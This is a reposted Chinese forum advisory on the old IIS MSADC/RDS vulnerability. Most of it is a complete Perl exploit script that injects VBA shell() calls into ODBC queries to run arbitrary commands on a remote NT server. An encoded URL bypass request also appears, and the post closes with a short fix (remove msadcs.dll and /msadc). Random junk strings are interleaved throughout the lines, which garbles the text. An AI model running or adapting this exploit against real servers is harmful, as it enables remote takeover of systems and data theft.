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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Rh%/xG#k  
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涉及程序: L&'0d$Tg8  
Microsoft NT server VmkYl$WZo  
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描述: MOG[cp  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 kI3-G~2  
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详细: WJU` g  
如果你没有时间读详细内容的话,就删除: j#U?'g  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Y(SgfWeK@1  
有关的安全问题就没有了。 tGd<{nF%2  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 IR%a+;Xs  
=3oz74O[  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 7-ba-[t#A  
关于利用ODBC远程漏洞的描述,请参看: 9VN@M  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Prhq ~oI4  
4T9hT~cT7  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 %~ecrQ;  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp $YSD%/c  
x[}e1sXXs  
这里不再论述。 C)z[Blt  
&u"*vG (U[  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: vO{ijHKE  
?/)5U}*M0T  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset VJCh5t*  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! M Zw%s(lv  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" #fGb M!3p  
DcbL$9UI  
#!perl Bw*z4qb{yH  
# _T5~B"*  
# MSADC/RDS 'usage' (aka exploit) script oJ8_hk<Va8  
# 2,&lGyV#  
# by rain.forest.puppy cJ8F#t  
# vo`wYJ3W  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me fsjA7)/  
# beta test and find errors! d=qpTb;(  
yK?~X V:  
use Socket; use Getopt::Std; TKLy38  
getopts("e:vd:h:XR", \%args); 31>k3IP&  
G>mgoN  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Q '+N72=  
0dkM72p  
if (!defined $args{h} && !defined $args{R}) { @LL&ggV?  
print qq~ L''0`a. +S  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 4!k={Pd  
-h <host> = host you want to scan (ip or domain) fe37T@  
-d <seconds> = delay between calls, default 1 second "}SERC7  
-X = dump Index Server path table, if available mZ;yk(  
-v = verbose y-n\;d>[(  
-e = external dictionary file for step 5 }aNiO85  
38q@4U=aiw  
Or a -R will resume a command session DhZtiqL#_  
j|`{ 1`'  
~; exit;} xk|$Oa  
ri JyH;)  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; eN> (IW  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} >>$IHz4Z"  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} RaU.yCYyu  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); dWqFP  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 4(aesZ8h  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 7-o=E=  
\aZ(@eF@@Q  
if (!defined $args{R}){ $ret = &has_msadc; U[A*A^$c}  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Ab2g),;c  
CY>NU  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" rIb[gm)Rk  
. "cmd /c "; (FjgnsW  
$in=<STDIN>; chomp $in; u\e#_*>  
$command="cmd /c " . $in ; ==XP}w)m  
9)l_(*F  
if (defined $args{R}) {&load; exit;} y9*H  
!7xp<=  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; CMBW]b|  
&try_btcustmr; <go~WpA|r  
qz0v1057#  
print "\nStep 2: Trying to make our own DSN..."; |~HlNUPR  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; z}Z`kq+C  
7lVIN&.=  
print "\nStep 3: Trying known DSNs..."; #Y5I_:k  
&known_dsn; F7;xf{n<  
S-rqrbr|AT  
print "\nStep 4: Trying known .mdbs..."; tJwF h6  
&known_mdb; g?>AY2f[5  
/5x `TT  
if (defined $args{e}){ T) ,:8/  
print "\nStep 5: Trying dictionary of DSN names..."; huF L [  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }  ,g,jY]o  
@zJI0_Bp  
print "Sorry Charley...maybe next time?\n"; BL8\p_U  
exit; 5./ (fgx>  
-ufmpq.  
############################################################################## N6J$z\ P  
]JD$fS=_  
sub sendraw { # ripped and modded from whisker R&4E7wrdP  
sleep($delay); # it's a DoS on the server! At least on mine... uf;q/Wr  
my ($pstr)=@_; Vd?v"2S(9  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || m_(hCY=Q$  
die("Socket problems\n"); i52R,hz  
if(connect(S,pack "SnA4x8",2,80,$target)){ 1!f'nS  
select(S); $|=1; s^oNQ}  
print $pstr; my @in=<S>; \9}5}X_x.  
select(STDOUT); close(S); @qC:% |>  
return @in; c"YK+2  
} else { die("Can't connect...\n"); }} s{k\1 P(G}  
20moX7L  
############################################################################## xF/DYXC{8  
.HQ<6k:  
sub make_header { # make the HTTP request og\XLJ}_  
my $msadc=<<EOT ltrSTH,kL  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 eurudl  
User-Agent: ACTIVEDATA 2 T3DV])Q  
Host: $ip MJG%HakK0  
Content-Length: $clen DrEtnt   
Connection: Keep-Alive r{Q< a  
V^{!d}  
ADCClientVersion:01.06 ZWa#}VS}-n  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 OV/FQH;V  
)j6>b-H   
--!ADM!ROX!YOUR!WORLD! *h4m<\^U  
Content-Type: application/x-varg Az-!LAu9 R  
Content-Length: $reqlen - X_w&  
6J 5)4^bk  
EOT [;=ky<K0E  
; $msadc=~s/\n/\r\n/g; cLU*Tx\  
return $msadc;} Q$vr`yV#=6  
9(l'xuX  
############################################################################## =_dd4`G&<  
cP2R2 4th  
sub make_req { # make the RDS request &JlR70gdHi  
my ($switch, $p1, $p2)=@_; .zAafi0  
my $req=""; my $t1, $t2, $query, $dsn; JKT+ q*V  
,jnRt%W  
if ($switch==1){ # this is the btcustmr.mdb query Uu X"AFy~\  
$query="Select * from Customers where City=" . make_shell(); >slN:dr0:  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . (RmED\.]4  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} :(b3)K  
8e@JvAaa$  
elsif ($switch==2){ # this is general make table query 7S2F^,w  
$query="create table AZZ (B int, C varchar(10))"; 0w['jh|,  
$dsn="$p1";} z= p  
4LjSDgA  
elsif ($switch==3){ # this is general exploit table query oPy zk7{  
$query="select * from AZZ where C=" . make_shell(); C%c `@="b  
$dsn="$p1";} \Ep/'Tj&  
GnOo+hB  
elsif ($switch==4){ # attempt to hork file info from index server v,+l xY  
$query="select path from scope()"; h<K;VpL6  
$dsn="Provider=MSIDXS;";} N ]7a=  
zsXH{atY  
elsif ($switch==5){ # bad query a1`cI5n  
$query="select"; .:ZXtU  
$dsn="$p1";} &iOtw0E  
93Gur(j^  
$t1= make_unicode($query); 3K!0 4\  
$t2= make_unicode($dsn); |2<f<k/UT  
$req = "\x02\x00\x03\x00"; $cOD6Xr)d  
$req.= "\x08\x00" . pack ("S1", length($t1)); 1:!rw,Jzl`  
$req.= "\x00\x00" . $t1 ; R$fIb}PDr  
$req.= "\x08\x00" . pack ("S1", length($t2)); -NPk N%h  
$req.= "\x00\x00" . $t2 ; (bt]GAxb1  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ];d:z[\P  
return $req;} W>s'4C`  
C9H11g7{  
############################################################################## <M OL{jan  
,;P`Mf'YC  
sub make_shell { # this makes the shell() statement e-cb?.WU?  
return "'|shell(\"$command\")|'";} gwaC?tf[  
/mwr1GU  
############################################################################## un^IQMIh  
_O;~ }N4u  
sub make_unicode { # quick little function to convert to unicode \ui^ d  
my ($in)=@_; my $out; ]GtR8w@w  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 6J-}&U  
return $out;} r)5\3j[P  
A]?O& m |  
############################################################################## d+2O^of:T  
J8v:a`bX&  
sub rdo_success { # checks for RDO return success (this is kludge) 7oe@bS/Z  
my (@in) = @_; my $base=content_start(@in); M y"!j,Up  
if($in[$base]=~/multipart\/mixed/){ .(1j!B4^  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 0^&R7Rv c  
return 0;} ).!14Gjo  
@ KPv&UB  
############################################################################## e~s7ggg2k  
>jz%bY  
sub make_dsn { # this makes a DSN for us [9U srpYi  
my @drives=("c","d","e","f"); sHTePEJ_h  
print "\nMaking DSN: "; w52HN;Jm  
foreach $drive (@drives) { /-YlC (kL  
print "$drive: "; /N]Ow  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . &#oZ>`Qu  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" } o"_#\6  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");  .02(O  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; =@KYA(D  
return 0 if $2 eq "404"; # not found/doesn't exist ?*R^?[  
if($2 eq "200") { ?3TK7]1V:  
foreach $line (@results) { p@8^gc  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} vx5o k1UY  
} return 0;} tbzvO<~  
q\b ?o!# _  
############################################################################## ,o>pmaoLs  
eN<pU%7  
sub verify_exists { \m~\,em  
my ($page)=@_; jbhJ;c:  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Go+xL/f  
return $results[0];} F}B/-".^  
PDq}Tq  
############################################################################## 8P<UO  
T3t~=b>&L  
sub try_btcustmr { Ul713Bjz  
my @drives=("c","d","e","f"); Fma`Cm.  
my @dirs=("winnt","winnt35","winnt351","win","windows"); mf;^b.mKh  
h [|zs>p  
foreach $dir (@dirs) { FP'u)eU&3  
print "$dir -> "; # fun status so you can see progress SeZT4y*=  
foreach $drive (@drives) { G E~(N N  
print "$drive: "; # ditto X\^& nLa  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; svq9@!go  
$reqlenlen=length( "$reqlen" ); M`C~6Mf+  
$clen= 206 + $reqlenlen + $reqlen; #:vDBP05.m  
zUEfa!#?  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 4=F]`Lql  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}  `\|3 ~_v  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} KB,~u*~!  
@Uj _+c q  
############################################################################## ]k`Fl,"  
4'{hI;&a&  
sub odbc_error { /romTK4  
my (@in)=@_; my $base; jRdhLs,M9  
my $base = content_start(@in); f0mH|tI`  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this +ptF-  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ;+ C o!L  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; IQlw 914  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Bsu=^z  
return $in[$base+4].$in[$base+5].$in[$base+6];} D=82$$  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Rd vPsv} D  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . \+?,c\x  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Wq{d8|)1  
{80oRD2=Q  
############################################################################## r8 Zyld_@  
x^#6>oOR  
sub verbose { (w#slTFT  
my ($in)=@_; dp UdFuU"  
return if !$verbose; LA;V}%y ?  
print STDOUT "\n$in\n";} ~^%0V<*-}  
 UE&C  
############################################################################## pRrqs+IJZ\  
zh{@? k  
sub save { JhhUg  
my ($p1, $p2, $p3, $p4)=@_; ~D -JZx  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ezg^5o;  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; p'Y&Z?8  
close OUT;} '?`@7Eol  
u1pc5 Y{  
############################################################################## \=EY@ *=  
[DotS\p!z  
sub load { Rg8m4xw  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; s}[A4`EWH  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ;o_V!< $  
@p=<IN>; close(IN); 43{_Y]  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); PQU3s$  
$target= inet_aton($ip) || die("inet_aton problems"); w;yiX<t<  
print "Resuming to $ip ..."; z@Z_] h  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; xq Q~|  
if($p[1]==1) { %0+h  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; <=)D=Ax/_[  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 3XApY'  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); \tiUE E|k  
if (rdo_success(@results)){print "Success!\n";} g:uvoMUD  
else { print "failed\n"; verbose(odbc_error(@results));}} a+YR5*&[OO  
elsif ($p[1]==3){  4]DAh  
if(run_query("$p[3]")){ z\Pe{J  
print "Success!\n";} else { print "failed\n"; }} .# !'c  
elsif ($p[1]==4){ {?@t/.4[W3  
if(run_query($drvst . "$p[3]")){ ;o-\.=l  
print "Success!\n"; } else { print "failed\n"; }} TbKP8zw{  
exit;} O?nPxa<  
g+>=C   
############################################################################## ;gxN@%}@  
xZ.~:V03\t  
sub create_table { 7x[LF ^o  
my ($in)=@_; ( Lok  
$reqlen=length( make_req(2,$in,"") ) - 28; Xq8uY/j  
$reqlenlen=length( "$reqlen" );  !fQJL   
$clen= 206 + $reqlenlen + $reqlen; "<PoJPh  
my @results=sendraw(make_header() . make_req(2,$in,"")); [):{5hMA  
return 1 if rdo_success(@results); 6?1s`{yy  
my $temp= odbc_error(@results); verbose($temp); l)tTg+:  
return 1 if $temp=~/Table 'AZZ' already exists/; 9*}iBs  
return 0;}  _DPB?)!x  
e5qrQwU  
############################################################################## L,Ao.?j  
P3>..fhoW  
sub known_dsn { 3bbp>7V!  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go &Q-[;  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", E3 ~,+68U  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", N_u&3CG  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Kcscz,  
%sOWg.0_  
foreach $dSn (@dsns) { #dva0%-1  
print "."; ~w Zl2I  
next if (!is_access("DSN=$dSn")); 4zo4H~@gk  
if(create_table("DSN=$dSn")){ ^%\)Xi  
print "$dSn successful\n"; ,s1&O`  
if(run_query("DSN=$dSn")){ _u:>1]  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { V,>+G6e  
print "Something's borked. Use verbose next time\n";}}} print "\n";} UJee&4C-y  
CCbkxHMf|!  
############################################################################## +R|U4`12  
1*C:h g@  
sub is_access { v-P8WFjca  
my ($in)=@_; ES^>[2Y  
$reqlen=length( make_req(5,$in,"") ) - 28; RL?u n}Qa  
$reqlenlen=length( "$reqlen" ); q*~gWn>T  
$clen= 206 + $reqlenlen + $reqlen; A)\>#Dv  
my @results=sendraw(make_header() . make_req(5,$in,"")); V~/.Y&WN  
my $temp= odbc_error(@results); 'M~BE\  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); )>(L{y|uYX  
return 0;} EKqi+T^=F  
./5jx2V  
############################################################################## p]wP36<S!  
VLf g[*k  
sub run_query { sCVI 2S!L  
my ($in)=@_; CD^CUbGk  
$reqlen=length( make_req(3,$in,"") ) - 28; 6!ZVd#OM%  
$reqlenlen=length( "$reqlen" ); ;knd7SC   
$clen= 206 + $reqlenlen + $reqlen; %0vTA_W  
my @results=sendraw(make_header() . make_req(3,$in,"")); wb]*u7G t/  
return 1 if rdo_success(@results); +IG1IF  
my $temp= odbc_error(@results); verbose($temp); ?Q@L-H`  
return 0;} sa_R$ /H  
Xc\* 9XV:  
############################################################################## RXBb:f  
rFhW^fP/  
sub known_mdb { >B0D/:R9  
my @drives=("c","d","e","f","g"); 6^Ph '  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 6MuWlCKF8  
my $dir, $drive, $mdb; Yy]T J  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; wDDxj  
_WKJ<dB<  
# this is sparse, because I don't know of many 8)sg_JC  
my @sysmdbs=( "\\catroot\\icatalog.mdb", xS"$g9o0  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 5|{)Z]M%9  
"\\system32\\certmdb.mdb", [(1O"  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% UV4u.7y  
prZ55MS.  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", #Rc5c+/(  
"\\cfusion\\cfapps\\forums\\forums_.mdb", So#dJ>   
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", iSlFRv?a  
"\\cfusion\\cfapps\\security\\realm_.mdb", o w2$o\hC  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", |=\91fP68`  
"\\cfusion\\database\\cfexamples.mdb", Raefj(^V  
"\\cfusion\\database\\cfsnippets.mdb", mG_BM/$  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", <{giHT  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Rv vh{U;t  
"\\cfusion\\brighttiger\\database\\cleam.mdb", s|Zx(.EP  
"\\cfusion\\database\\smpolicy.mdb", }'lNi^"XL  
"\\cfusion\\database\cypress.mdb", Q!K`e)R  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", [G a~%m  
"\\website\\cgi-win\\dbsample.mdb", &eIGF1ws  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", m=QCG)s  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" vh &GIb  
); #these are just Ivsb<qzG  
foreach $drive (@drives) { rR]-RX(  
foreach $dir (@dirs){ J^fm~P>.  
foreach $mdb (@sysmdbs) { >D ne? 8r  
print "."; 3% ^z?_  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ^/*KNnAWp  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; I_?He'=0oU  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ E:FO_R(Xq  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; =<{ RX8  
} else { print "Something's borked. Use verbose next time\n"; }}}}} {rC~ P  
S8%n.<OB  
foreach $drive (@drives) { kg3ppt  
foreach $mdb (@mdbs) { h~w4, T  
print "."; W (`c  
if(create_table($drv . $drive . $dir . $mdb)){ 7UKYmJk.  
print "\n" . $drive . $dir . $mdb . " successful\n"; *zy'#`>  
if(run_query($drv . $drive . $dir . $mdb)){ RlsVC_H\  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 6 mO"  
} else { print "Something's borked. Use verbose next time\n"; }}}} |) Pi6Y  
} w>qCg XU3  
8.?E[~  
############################################################################## h>wcT VF  
m"Qq{p|'  
sub hork_idx { ^mg*;8e Ga  
print "\nAttempting to dump Index Server tables...\n"; [T`}yb@  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 3sFeP &  
$reqlen=length( make_req(4,"","") ) - 28; nLy#|C  
$reqlenlen=length( "$reqlen" ); 5 lTD]d  
$clen= 206 + $reqlenlen + $reqlen; Q.k :\m*h  
my @results=sendraw2(make_header() . make_req(4,"","")); /s c.C  
if (rdo_success(@results)){ ;LRW 8Wd  
my $max=@results; my $c; my %d; M$A#I51  
for($c=19; $c<$max; $c++){ &aPl`"j  
$results[$c]=~s/\x00//g; Z)&D`RCf  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; =-~;OH /  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; cS|VJWgTZ  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;  i-W  
$d{"$1$2"}="";} '# z]M  
foreach $c (keys %d){ print "$c\n"; } RH(V^09[o  
} else {print "Index server doesn't seem to be installed.\n"; }} [;KmT{I9  
s t/n"HQ  
############################################################################## \cQ .|S  
R#(G%66   
sub dsn_dict { 4DLq}v  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); zX kx7d8  
while(<IN>){ "+|L_iuNQ  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; s&'BM~WI  
next if (!is_access("DSN=$dSn")); !gH 9ay  
if(create_table("DSN=$dSn")){ ~O;y?]U  
print "$dSn successful\n"; hazq#J!  
if(run_query("DSN=$dSn")){ Pl+xH%U+?  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 6:?rlh  
print "Something's borked. Use verbose next time\n";}}} n#*`!#  
print "\n"; close(IN);} ~|l IC !q  
kIvvEh<L=  
############################################################################## <\@ 1Zz@ms  
}B q^3?,#{  
sub sendraw2 { # ripped and modded from whisker 47UO*oLS  
sleep($delay); # it's a DoS on the server! At least on mine... f: xWu-  
my ($pstr)=@_; dvjTyX  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || *8)2iv4[  
die("Socket problems\n"); W f@t4(i  
if(connect(S,pack "SnA4x8",2,80,$target)){ ALGg AX3t  
print "Connected. Getting data"; <L2emL_'  
open(OUT,">raw.out"); my @in; {8@\Ij  
select(S); $|=1; print $pstr; N[Sb#w`[/  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Q_zr\RM>  
close(OUT); select(STDOUT); close(S); return @in; ]hE="z=n  
} else { die("Can't connect...\n"); }} |dmh  
XM~~y~j  
############################################################################## 7@~tVxB;  
R1ktj  
sub content_start { # this will take in the server headers fS A)G$b]  
my (@in)=@_; my $c; nl1-kB)$e|  
for ($c=1;$c<500;$c++) { 61_f3S(u  
if($in[$c] =~/^\x0d\x0a/){ Vq ^]s $'  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ~`eHHgX  
else { return $c+1; }}} } /e`v6  
return -1;} # it should never get here actually N4UM82N  
9z ?7{2C  
############################################################################## K:5eek  
*P2[qhP2  
sub funky { |n6Eg9  
my (@in)=@_; my $error=odbc_error(@in); x &=9P e(  
if($error=~/ADO could not find the specified provider/){ ~kKrDLW+  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; x#8w6@iPQ  
exit;} hI|)u4q  
if($error=~/A Handler is required/){ `v nJ4*  
print "\nServer has custom handler filters (they most likely are patched)\n"; wW`}VKu  
exit;} A6UO0lyu  
if($error=~/specified Handler has denied Access/){ uDayBaR  
print "\nServer has custom handler filters (they most likely are patched)\n"; ^O6* e]C$  
exit;}} [-w@.^:]X  
nr\q7  
############################################################################## v{;7LXy0  
RL}KAGK  
sub has_msadc { YQ(Po!NI\'  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); +S~.c;EK  
my $base=content_start(@results); p-$Cs _{Z  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); \ijMw  
return 0;} GAEO$e:  
rZwB> c  
######################## TGV  
68t}w^=  
S>_27r{  
解决方案: ;-@=  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll }zMf7<C  
2、移除web 目录: /msadc
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学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 O`W%Tr  
<GIwRVCU  
拿出来充数 哈哈
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